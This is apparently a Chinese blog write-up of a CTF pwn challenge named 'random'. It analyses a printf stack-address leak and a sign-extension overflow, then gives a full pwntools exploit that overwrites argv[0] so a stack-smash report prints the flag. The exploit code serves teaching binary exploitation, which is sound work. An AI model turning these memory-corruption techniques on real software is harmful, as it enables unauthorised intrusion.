pwnhub公开赛二期PWN-random
pwnhub公开赛二期PWN-random
总结
根据本题,学习与收获有:
- 有时候IDA反编译出来的代码不一定准确,需要结合汇编代码进行分析
- 之前的
__stack_chk_fail
函数,如果把args[0]
处的地址覆盖为存储flag
的地址,那么检测到canary
被修改的时候,就会把flag
打印出来
题目分析
checksec
保护全开
函数分析
部分函数已重命名!
main
在main
函数中,调用了初始化函数,还有prctl
函数,以及读取用户输入,输出一段欢迎信息。
这里因为buf
距离rsp
为0x20
,如果完全读满0x10
个字符,很可能会泄露出栈地址。
initial
没啥好看的
set_prctl
可以用seccomp-tools
检测一下
禁用了execve
vuln
这个函数的处理流程为:
- 读取
flag
到栈变量buf
中 - 打印出了
buf
的低1
个字节的地址 - 读取一个正整数
num
- 读取用户输入,向栈变量
v4
里面读取(char)(num & 0x80)
个字符
get_num
读取一个正整数
read_input
就是从stdin
中读取输入,遇到\x0a
结束。
漏洞点
漏洞点1:printf泄露出栈地址
在main
函数的分析中指出,如果输入name
的时候,长度恰好为0x10
个可打印字符,可能泄露出栈上的内容。可结合gdb
调试看一下:
的确能泄露出栈地址!
漏洞点2:任意大小往栈地址写内容
刚开始看IDA
的反编译结果,看了半天,没有找到新的漏洞。后来研究了一下汇编代码,结合gdb
调试,发现在read_input
中,传给这个函数的第二个参数,也就是rsi
寄存器的内容。
首先分析一下汇编代码:
dword_20204c
就是num & 0x80
,接下来是一个movsxd
指令,将32
位寄存器进行符号扩展到64
位寄存器。直接使用$rebase(0xC1F)
断点打在read_input
函数出,输入整数为0xffff
:
此时的rsi
寄存器存储的内容为0xffffffffffffff80
,因此可以溢出写,大小基本不限!
利用思路
由于漏洞点只能泄露出栈地址,虽然有任意大小溢出漏洞,但是由于不知道程序的基地址,也不知道libc
的基地址,所以无法使用ROP
进行利用。但是考虑到程序本身读取了flag
,且开启了canary
保护,因此可以尝试利用stack smash
打印出flag
。
知识点
-
stack smash
开启了
canary
保护的程序,如果发现canary
被修改,就会执行__stack_chk_fail
函数来打印argv[0]
指针所指向的字符串,正常情况下,这个指针指向了程序名。argv
在很高的栈地址。 -
如果可以不限制大小地进行栈溢出,可以修改
argv[0]
为指向flag
的字符串地址,就能打印出flag
。
利用过程
利用步骤:
- 利用
printf
打印出栈地址,结合gift
地址,得到存储flag
栈地址 - 利用溢出漏洞,覆盖
argv[0]
为flag
地址,利用__stack_chk_fail
打印出flag
EXP
调试过程
本地调试的时候,随便设置了一个flag
文件:
首先需要读取出栈地址和计算出flag
地址:
io = process('./random')
io.sendafter("tell me your name\n", 0x10 * 'a')
msg = io.recvline()
leak_stack_addr = u64(msg[-7:-1] + b'\x00\x00' )
LOG_ADDR('leak_stack_addr', leak_stack_addr)
flag_addr = leak_stack_addr - 0x320
msg = io.recvline()
buf_low_addr = int(msg[5 : -1].decode(), base=16)
LOG_ADDR('buf_low_addr', buf_low_addr)
LOG_ADDR('flag_addr', flag_addr)
接下来直接对栈进行溢出,触发stack smash
:
io.sendafter("leave something?\n", str(0xffff))
io.sendline(p64(flag_addr) * 0x200)
io.interactive()
完整exp
from pwn import *
LOG_ADDR = lambda x, y: log.success("{} ===> {}".format(x, hex(y)))
io = process('./random')
io.sendafter("tell me your name\n", 0x10 * 'a')
msg = io.recvline()
leak_stack_addr = u64(msg[-7:-1] + b'\x00\x00' )
LOG_ADDR('leak_stack_addr', leak_stack_addr)
flag_addr = leak_stack_addr - 0x320
msg = io.recvline()
buf_low_addr = int(msg[5 : -1].decode(), base=16)
LOG_ADDR('buf_low_addr', buf_low_addr)
LOG_ADDR('flag_addr', flag_addr)
io.sendafter("leave something?\n", str(0xffff))
io.sendline(p64(flag_addr) * 0x200)
io.interactive()
最后远程打的flag
为:
引用与参考
stack smash
: https://ctf-wiki.org/pwn/linux/stackoverflow/fancy-rop/#stack-smash
本文来自博客园,作者:LynneHuan,转载请注明原文链接:https://www.cnblogs.com/LynneHuan/p/14843469.html